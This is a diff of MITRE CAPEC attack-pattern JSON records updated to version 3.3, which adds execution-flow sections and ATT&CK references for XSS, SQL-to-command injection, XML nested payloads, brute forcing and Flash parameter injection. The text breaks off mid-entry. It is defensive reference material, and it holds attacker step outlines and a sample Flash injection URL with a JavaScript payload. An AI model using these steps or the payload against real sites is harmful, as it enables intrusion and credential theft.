460154eb2a..1f45adbc5b 100644 --- a/capec/attack-pattern/attack-pattern--89697649-1004-4130-a9dd-72182e4c6206.json +++ b/capec/attack-pattern/attack-pattern--89697649-1004-4130-a9dd-72182e4c6206.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4be4af9b-7fd9-4a73-b166-ba5cc0d56049", + "id": "bundle--ccb3da4d-3cbf-4a03-a000-7a205c2d33b8", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--89697649-1004-4130-a9dd-72182e4c6206", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XSS Targeting Non-Script Elements", "description": "This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an attacker to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote attacker to collect and interpret the output of said attack.", "external_references": [ @@ -45,8 +45,9 @@ ] }, "x_capec_example_instances": [ - "\n An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. A malicious user embeds JavaScript in the IMG tags in his messages that gets executed within the victim's browser whenever the victim reads these messages.\n \n When executed within the victim's browser, the malicious script could accomplish a number of adversary objectives including stealing sensitive information such as usernames, passwords, or cookies.\n " + "\n An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. A malicious user embeds JavaScript in the IMG tags in their messages that gets executed within the victim's browser whenever the victim reads these messages.\n \n When executed within the victim's browser, the malicious script could accomplish a number of adversary objectives including stealing sensitive information such as usernames, passwords, or cookies.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Spider: Using a browser or an automated tool, an attacker records all entry points for inputs that happen to be reflected in a client-side non-script element. These non-script elements can be located in the HTML content (head, body, comments), in an HTML tag, XML, CSS, etc.

    2. Techniques
    Use a spidering tool to follow and record all non-static links that are likely to have input parameters (through forms, URL, fragments, etc.) actively used by the Web application.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for XSS vulnerability: The attacker uses the entry points gathered in the \"Explore\" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.

    2. Techniques
    Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side non-script elements context and observe system behavior to determine if script was executed. Since these probes may have to be injected in many different types of non-script elements, they should cover a variety of possible contexts (CSS, HTML tag, XML, etc.).
    Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side non-script elements context and observe system behavior to determine if script was executed. Since these probes may have to be injected in many different types of non-script elements, they should cover a variety of possible contexts (CSS, HTML tag, XML, etc.).
    Use a proxy tool to record results of the created requests.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.

    2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    3. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website.

    4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target client software must allow the execution of scripts generated by remote hosts." @@ -60,7 +61,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--897a5506-45bb-4f6f-96e7-55f4c0b9021a.json b/capec/attack-pattern/attack-pattern--897a5506-45bb-4f6f-96e7-55f4c0b9021a.json index 13bfe8c5bd..0ad3c99989 100644 --- a/capec/attack-pattern/attack-pattern--897a5506-45bb-4f6f-96e7-55f4c0b9021a.json +++ b/capec/attack-pattern/attack-pattern--897a5506-45bb-4f6f-96e7-55f4c0b9021a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7449b1ea-937d-4423-b5a6-05ec8cc91f92", + "id": "bundle--828567b4-fd48-4e71-b8b8-874eb02321b7", "spec_version": "2.0", "objects": [ { @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/311.html", "external_id": "CWE-311" + }, + { + "source_name": "ATTACK", + "description": "Network Sniffing", + "url": "https://attack.mitre.org/wiki/Technique/T1040", + "external_id": "T1040" } ], "object_marking_refs": [ @@ -44,7 +50,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--89acf77d-723b-43b4-b66d-6eaafed52369.json b/capec/attack-pattern/attack-pattern--89acf77d-723b-43b4-b66d-6eaafed52369.json index 7bb2086350..f1ef338997 100644 --- a/capec/attack-pattern/attack-pattern--89acf77d-723b-43b4-b66d-6eaafed52369.json +++ b/capec/attack-pattern/attack-pattern--89acf77d-723b-43b4-b66d-6eaafed52369.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c432cbfe-ddf1-43ef-a89a-f5fff1b43c51", + "id": "bundle--a08d638e-0331-4094-b8fc-4a5d97ec6182", "spec_version": "2.0", "objects": [ { @@ -71,6 +71,7 @@ "x_capec_example_instances": [ "\n SQL injection vulnerability in Cacti 0.8.6i and earlier, when register_argc_argv is enabled, allows remote attackers to execute arbitrary SQL commands via the (1) second or (2) third arguments to cmd.php. NOTE: this issue can be leveraged to execute arbitrary commands since the SQL query results are later used in the polling_items array and popen function (CVE-2006-6799).\n Reference: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6799\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Probe for SQL Injection vulnerability: The attacker injects SQL syntax into user-controllable data inputs to search unfiltered execution of the SQL syntax in a query.

Exploit

  1. Achieve arbitrary command execution through SQL Injection with the MSSQL_xp_cmdshell directive: The attacker leverages a SQL Injection attack to inject shell code to be executed by leveraging the xp_cmdshell directive.

  2. Inject malicious data in the database: Leverage SQL injection to inject data in the database that could later be used to achieve command injection if ever used as a command line argument

  3. Trigger command line execution with injected arguments: The attacker causes execution of command line functionality which leverages previously injected database content as arguments.

", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "The application does not properly validate data before storing in the database", @@ -85,7 +86,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--89d61215-2dcb-4684-983b-89a6e519b035.json b/capec/attack-pattern/attack-pattern--89d61215-2dcb-4684-983b-89a6e519b035.json index 9a6b8c3b23..25b38d37aa 100644 --- a/capec/attack-pattern/attack-pattern--89d61215-2dcb-4684-983b-89a6e519b035.json +++ b/capec/attack-pattern/attack-pattern--89d61215-2dcb-4684-983b-89a6e519b035.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b2a77018-94bb-4366-ab0e-52bb06f4151b", + "id": "bundle--c4998c97-bd30-4fd5-a285-51b3eba40a34", "spec_version": "2.0", "objects": [ { @@ -42,7 +42,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8a2c6c50-26ad-4f1a-a938-25293372f75a.json b/capec/attack-pattern/attack-pattern--8a2c6c50-26ad-4f1a-a938-25293372f75a.json index 43a3538464..fa93c96029 100644 --- a/capec/attack-pattern/attack-pattern--8a2c6c50-26ad-4f1a-a938-25293372f75a.json +++ b/capec/attack-pattern/attack-pattern--8a2c6c50-26ad-4f1a-a938-25293372f75a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f2a98b57-f7de-478e-9114-f3cb9adeeadf", + "id": "bundle--0762d347-3f4b-41b2-ac97-80a944974e91", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8abd01d1-b2a2-4b86-a640-7d3d3b61d27f.json b/capec/attack-pattern/attack-pattern--8abd01d1-b2a2-4b86-a640-7d3d3b61d27f.json index cdcdf9af41..975f42cebd 100644 --- a/capec/attack-pattern/attack-pattern--8abd01d1-b2a2-4b86-a640-7d3d3b61d27f.json +++ b/capec/attack-pattern/attack-pattern--8abd01d1-b2a2-4b86-a640-7d3d3b61d27f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--377c70d6-e870-44f8-9409-187bd6ce33e6", + "id": "bundle--c5ee3227-2636-46ff-a626-62f8fadb109c", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--8abd01d1-b2a2-4b86-a640-7d3d3b61d27f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XML Nested Payloads", - "description": "Applications often need to transform data in and out of the XML format by using an XML parser. It may be possible for an adversary to inject data that may have an adverse effect on the XML parser when it is being processed. By nesting XML data and causing this data to be continuously self-referential, an adversary can cause the XML parser to consume more resources while processing, causing excessive memory consumption and CPU utilization. An adversary's goal is to leverage parser failure to his or her advantage. In most cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing. However it may be possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [R.230.1]. XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.", + "description": "Applications often need to transform data in and out of the XML format by using an XML parser. It may be possible for an adversary to inject data that may have an adverse effect on the XML parser when it is being processed. By nesting XML data and causing this data to be continuously self-referential, an adversary can cause the XML parser to consume more resources while processing, causing excessive memory consumption and CPU utilization. An adversary's goal is to leverage parser failure to their advantage. In most cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing. However it may be possible to cause a crash resulting in arbitrary code execution, leading to a jump from the data plane to the control plane [REF-89]. XDoS is most closely associated with web services, SOAP, and Rest, because remote service requesters can post malicious XML payloads to the service provider designed to exhaust the service provider's memory, CPU, and/or disk space. The main weakness in XDoS is that the service provider generally must inspect, parse, and validate the XML messages to determine routing, workflow, security considerations, and so on. It is exactly these inspection, parsing, and validation routines that XDoS targets. This attack exploits the loosely coupled nature of web services, where the service provider has little to no control over the service requester and any messages the service requester sends.", "external_references": [ { "source_name": "capec", @@ -76,6 +76,7 @@ "Execute Unauthorized Commands" ] }, + "x_capec_execution_flow": "

Execution Flow

Explore

  1. An adversary determines the input data stream that is being processed by an XML parser on the victim's side.

Experiment

  1. An adversary crafts input data that may have an adverse effect on the operation of the XML parser when the data is parsed on the victim's system.

", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "An application uses an XML parser to perform transformation on user-controllable data.", @@ -87,7 +88,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8b329689-f8f8-466e-a890-4e30b8d8ec30.json b/capec/attack-pattern/attack-pattern--8b329689-f8f8-466e-a890-4e30b8d8ec30.json index c68dfb3033..a71e801504 100644 --- a/capec/attack-pattern/attack-pattern--8b329689-f8f8-466e-a890-4e30b8d8ec30.json +++ b/capec/attack-pattern/attack-pattern--8b329689-f8f8-466e-a890-4e30b8d8ec30.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--3e2a0e63-4fc1-493f-a657-2bee0d104784", + "id": "bundle--a80fd80a-86f9-47cb-b932-6806d3beff0c", "spec_version": "2.0", "objects": [ { @@ -45,7 +45,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8b7dfd02-8d21-4eed-a2a3-d9f73ed49a48.json b/capec/attack-pattern/attack-pattern--8b7dfd02-8d21-4eed-a2a3-d9f73ed49a48.json index 80c596f6d3..b0caa99abd 100644 --- a/capec/attack-pattern/attack-pattern--8b7dfd02-8d21-4eed-a2a3-d9f73ed49a48.json +++ b/capec/attack-pattern/attack-pattern--8b7dfd02-8d21-4eed-a2a3-d9f73ed49a48.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a314352b-b5d7-4af1-81fd-60c1f7fee8f8", + "id": "bundle--35faaf19-0227-4de1-a627-5c4d57b2dbf5", "spec_version": "2.0", "objects": [ { @@ -71,7 +71,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8ba08815-66fb-4150-a7fa-8ab6d1472b5f.json b/capec/attack-pattern/attack-pattern--8ba08815-66fb-4150-a7fa-8ab6d1472b5f.json index 0bc6ef0ec9..ee6bdbbdf7 100644 --- a/capec/attack-pattern/attack-pattern--8ba08815-66fb-4150-a7fa-8ab6d1472b5f.json +++ b/capec/attack-pattern/attack-pattern--8ba08815-66fb-4150-a7fa-8ab6d1472b5f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d4e12b15-f9cc-45af-9dc7-790206816808", + "id": "bundle--10fabafc-48ac-43b5-8565-f15a3ffe625c", "spec_version": "2.0", "objects": [ { @@ -28,7 +28,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4.json b/capec/attack-pattern/attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4.json index e49eb9bfc4..48cba9089b 100644 --- a/capec/attack-pattern/attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4.json +++ b/capec/attack-pattern/attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c0a8ff96-80dc-4a8e-890d-23e5c37fc612", + "id": "bundle--4cd6568d-d92d-4ac2-b233-ef833a5eb441", "spec_version": "2.0", "objects": [ { @@ -8,14 +8,26 @@ "id": "attack-pattern--8bb5fe8b-4746-4b90-9e89-b65c4daa21e4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Inclusion of Code in Existing Process", - "description": "The adversary takes advantage of a bug in an application failing to verify the integrity of the running process to execute arbitrary code in the address space of a separate live process. The adversary could use running code in the context of another process to try to access process's memory, system/network resources, etc. The goal of this attack is to evade detection defenses and escalate privileges by masking the malicious code under an existing legitimate process. Examples of approaches include but not limited to: dynamic-link library (DLL) injection, portable executable injection, thread execution hijacking, ptrace system calls, VDSO hijacking, and more.", + "description": "The adversary takes advantage of a bug in an application failing to verify the integrity of the running process to execute arbitrary code in the address space of a separate live process. The adversary could use running code in the context of another process to try to access process's memory, system/network resources, etc. The goal of this attack is to evade detection defenses and escalate privileges by masking the malicious code under an existing legitimate process. Examples of approaches include but not limited to: dynamic-link library (DLL) injection, portable executable injection, thread execution hijacking, ptrace system calls, VDSO hijacking, function hooking, and more.", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/640.html", "external_id": "CAPEC-640" + }, + { + "source_name": "ATTACK", + "description": "Process Injection", + "url": "https://attack.mitre.org/wiki/Technique/T1055", + "external_id": "T1055" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:LD_PRELOAD", + "url": "https://attack.mitre.org/wiki/Technique/T1574/006", + "external_id": "T1574.006" } ], "object_marking_refs": [ @@ -41,7 +53,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8bd0c718-f126-4397-9754-c5225da7b696.json b/capec/attack-pattern/attack-pattern--8bd0c718-f126-4397-9754-c5225da7b696.json index 2ab9b1a42c..d8ebda6092 100644 --- a/capec/attack-pattern/attack-pattern--8bd0c718-f126-4397-9754-c5225da7b696.json +++ b/capec/attack-pattern/attack-pattern--8bd0c718-f126-4397-9754-c5225da7b696.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--fbb33cdf-bd08-42d1-beec-9ad6a4cbf86e", + "id": "bundle--1bddec3c-5b6f-470e-9ab9-98982698a9bd", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--8bd0c718-f126-4397-9754-c5225da7b696", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Flash Parameter Injection", "description": "An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document. These 'FlashVars' are most often passed to the Flash file via URL arguments or from the Object or Embed tag within the embedding HTML document. If these FlashVars are not properly sanitized, an adversary may be able to embed malicious content (such as scripts) into the HTML document. The injected parameters can also provide the adversary control over other objects within the Flash file as well as full control over the parent document's DOM model. As such, this is a form of HTTP parameter injection, but the abilities granted to the Flash document (such as access to a page's document model, including associated cookies) make this attack more flexible. Flash Parameter Injection attacks can also preface further attacks such as various forms of Cross-Site Scripting (XSS) attacks in addition to Session Hijacking attacks.", "external_references": [ @@ -50,16 +50,17 @@ "x_capec_example_instances": [ "\n The following are examples for different types of parameters passed to the Flash file.\n \n DOM-based Flash parameter injection\n \n \n \n \n Passing parameter in an embedded URI\n \n Passing parameter in flashvars\n \n Persistent Flash Parameter Injection\n \n // Create a new shared object or read an existing one\n mySharedObject = SharedObject.getLocal(\"flashToLoad\");if (_root.flashfile == undefined) {\n \n // Check whether there is a shared object saved\n if (mySharedObject.data.flash == null) {\n \n // Set a default\n value _root.flashfile = \"defaultFlash.swf\";\n } else {\n \n // Read the flash file to load from the shared object\n _root.flashfile = mySharedObject.data.flash;\n }\n }\n // Store the flash file's name in the shared object\n \n mySharedObject.data.flash = _root.flashfile;\n // Load the flash file\n \n getURL(_root.flashfile);\n If an unsuspecting user is lured by an attacker to click on link like this: http://example.com/vulnerable.swf?flashfile=javascript:alert(document.domain)\n The result will be not merely a one-time execution of the JavaScript code in the victim's browser in the context of the domain with the vulnerable Flash file, but every time the Flash is loaded, whether by direct reference or embedded inside the same domain, the JavaScript will be executed again.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Spider: Using a browser or an automated tool, an adversary records all instances of HTML documents that have embedded Flash files. If there is an embedded Flash file, they list how to pass global parameters to the Flash file from the embedding object.

    2. Techniques
    Use an automated tool to record all instances of URLs which have embedded Flash files and list the parameters passing to the Flash file.
    Use a browser to manually explore the website to see whether the HTML document has embedded Flash files or not and list the parameters passing to the Flash file.

Experiment

  1. Determine the application susceptibility to Flash parameter injection: Determine the application susceptibility to Flash parameter injection. For each URL identified in the Explore phase, the adversary attempts to use various techniques such as DOM based, reflected, flashvars, and persistent attacks depending on the type of parameter passed to the embedded Flash file.

    2. Techniques
    When the JavaScript 'document.location' variable is used as part of the parameter, inject '#' and the payload into the parameter in the URL.
    When the name of the Flash file is exposed as a form or a URL parameter, the attacker injects '?' and the payload after the file name in the URL to override some global value.
    When the arguments passed in the 'flashvars' attributes, the attacker injects '&' and payload in the URL.
    If some of the attributes of the tag are received as parameters, the 'flashvars' attribute is injected into the tag without the creator of the Web page ever intending to allow arguments to be passed into the Flash file.
    If shared objects are used to save data that is entered by the user persistent Flash parameter injection may occur, with malicious code being injected into the Flash file and executed, every time the Flash file is loaded.

Exploit

  1. Execute Flash Parameter Injection Attack: Inject parameters into Flash file. Based on the results of the Experiment phase, the adversary crafts the underlying malicious URL containing injected Flash parameters and submits it to the web server. Once the web server receives the request, the embedding HTML document will controllable by the adversary.

    2. Techniques
    Craft underlying malicious URL and send it to the web server to take control of the embedding HTML document.
", "x_capec_likelihood_of_attack": "High", "x_capec_resources_required": [ "The attacker must convince the victim to click their crafted link." ], "x_capec_skills_required": { - "Medium": "The attacker need inject values into the global parameters to the Flash file and understand the parent HTML document DOM structure. The attacker need be smart enough to convince the victim to his crafted link." + "Medium": "The attacker need inject values into the global parameters to the Flash file and understand the parent HTML document DOM structure. The attacker needs to be smart enough to convince the victim to click on their crafted link." }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8c7bab16-5ecd-4778-9b04-c185bceed170.json b/capec/attack-pattern/attack-pattern--8c7bab16-5ecd-4778-9b04-c185bceed170.json index d1254b6d6b..085b9de94f 100644 --- a/capec/attack-pattern/attack-pattern--8c7bab16-5ecd-4778-9b04-c185bceed170.json +++ b/capec/attack-pattern/attack-pattern--8c7bab16-5ecd-4778-9b04-c185bceed170.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--19dff0de-81d8-4b71-8d82-eddd286771e0", + "id": "bundle--c6650e0d-9612-48e5-91ec-85de514b6802", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--8c7bab16-5ecd-4778-9b04-c185bceed170", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Try Common or Default Usernames and Passwords", "description": "An adversary may try certain common or default usernames and passwords to gain access into the system and perform unauthorized actions. An adversary may try an intelligent brute force using empty passwords, known vendor default credentials, as well as a dictionary of common usernames and passwords. Many vendor products come preconfigured with default (and thus well-known) usernames and passwords that should be deleted prior to usage in a production environment. It is a common mistake to forget to remove these default login credentials. Another problem is that users would pick very simple (common) passwords (e.g. \"secret\" or \"password\") that make it easier for the attacker to gain access to the system compared to using a brute force attack or even a dictionary attack using a full dictionary.", "external_references": [ @@ -39,8 +39,42 @@ }, { "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/693.html", - "external_id": "CWE-693" + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "ATTACK", + "description": "Valid Accounts:Default Accounts", + "url": "https://attack.mitre.org/wiki/Technique/T1078/001", + "external_id": "T1078.001" + }, + { + "source_name": "ATTACK", + "description": "Brute Force:Password Spraying", + "url": "https://attack.mitre.org/wiki/Technique/T1110/003", + "external_id": "T1110.003" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Corporate IoT \u2013 a path to intrusion, 2019--10---05, Microsoft Security Response Center (MSRC)", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion", + "external_id": "REF-572" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Risks of Default Passwords on the Internet, 2016--10---07, Cybersecurity and Infrastructure Security Agency (CISA)", + "url": "https://www.us-cert.gov/ncas/alerts/TA13-175A", + "external_id": "REF-574" } ], "object_marking_refs": [ @@ -59,8 +93,9 @@ ] }, "x_capec_example_instances": [ - "User Bob sets his password to \"123\" or literally leaves his password blank. If the system does not have password strength enforcement against a sound password policy, this password may be admitted. Passwords like these two examples are two simple and common passwords that are easily able to be guessed by the adversary.", - "Cisco 2700 Series Wireless Location Appliances (version 2.1.34.0 and earlier) have a default administrator username \"root\" with a password \"password\". This allows remote attackers to easily obtain administrative privileges. See also: CVE-2006-5288" + "A user sets their password to \"123\" or intentionally leaves their password blank. If the system does not have password strength enforcement against a sound password policy, this password may be admitted. Passwords like these two examples are two simple and common passwords that are easily able to be guessed by the adversary.", + "Cisco 2700 Series Wireless Location Appliances (version 2.1.34.0 and earlier) have a default administrator username \"root\" with a password \"password\". This allows remote attackers to easily obtain administrative privileges. See also: CVE-2006-5288", + "In April 2019, adversaries attacked several popular IoT devices (a VOIP phone, an office printer, and a video decoder) across multiple customer locations. An investigation conducted by the Microsoft Security Resposne Center (MSRC) discovered that these devices were used to gain initial access to corporate networks. In two of the cases, the passwords for the devices were deployed without changing the default manufacturer\u2019s passwords and in the third instance the latest security update had not been applied to the device. [REF-572]" ], "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ @@ -74,7 +109,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--8d88a81c-bde9-4fb3-acbe-901c783d6427.json b/capec/attack-pattern/attack-pattern--8d88a81c-bde9-4fb3-acbe-901c783d6427.json index 4a563dd4c2..6b59750f7a 100644 --- a/capec/attack-pattern/attack-pattern--8d88a81c-bde9-4fb3-acbe-901c783d6427.json +++ b/capec/attack-pattern/attack-pattern--8d88a81c-bde9-4fb3-acbe-901c783d6427.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7088eed6-3412-42a3-89fe-f8e859cc922e", + "id": "bundle--a99677b0-fe3f-4b76-890e-f93a3ebd54c7", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--8d88a81c-bde9-4fb3-acbe-901c783d6427", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Password Brute Forcing", "description": "In this attack, the adversary tries every possible value for a password until they succeed. A brute force attack, if feasible computationally, will always be successful because it will essentially go through all possible passwords given the alphabet used (lower case letters, upper case letters, numbers, symbols, etc.) and the maximum length of the password. A system will be particularly vulnerable to this type of an attack if it does not have a proper enforcement mechanism in place to ensure that passwords selected by users are strong passwords that comply with an adequate password policy. In practice a pure brute force attack on passwords is rarely used, unless the password is suspected to be weak. Other password cracking methods exist that are far more effective (e.g. dictionary attacks, rainbow tables, etc.). Knowing the password policy on the system can make a brute force attack more efficient. For instance, if the policy states that all passwords must be of a certain level, there is no need to check smaller candidates.", "external_references": [ @@ -39,8 +39,29 @@ }, { "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/693.html", - "external_id": "CWE-693" + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "ATTACK", + "description": "Brute Force:Password Guessing", + "url": "https://attack.mitre.org/wiki/Technique/T1110/001", + "external_id": "T1110.001" } ], "object_marking_refs": [ @@ -55,13 +76,18 @@ "Gain Privileges" ], "Confidentiality": [ - "Gain Privileges" + "Gain Privileges", + "Read Data" + ], + "Integrity": [ + "Modify Data" ] }, "x_capec_example_instances": [ "\n A system does not enforce a strong password policy and the user picks a five letter password consisting of lower case English letters only. The system does not implement any password throttling mechanism. Assuming the adversary does not know the length of the users' password, an adversary can brute force this password in maximum 1+26+26^2+26^3+26^4+26^5 = 1 + 26 + 676 + 17576 + 456976 + 11,881,376 = 12,356,631 attempts, and half these tries (6,178,316) on average. Using modern hardware this attack is trivial. If the adversary were to assume that the user password could also contain upper case letters (and it was case sensitive) and/or numbers, than the number of trials would have been larger.\n An adversary's job would have most likely been even easier because many users who choose easy to brute force passwords like this are also likely to use a word that can be found in the dictionary. Since there are far fewer valid English words containing up to five letters than 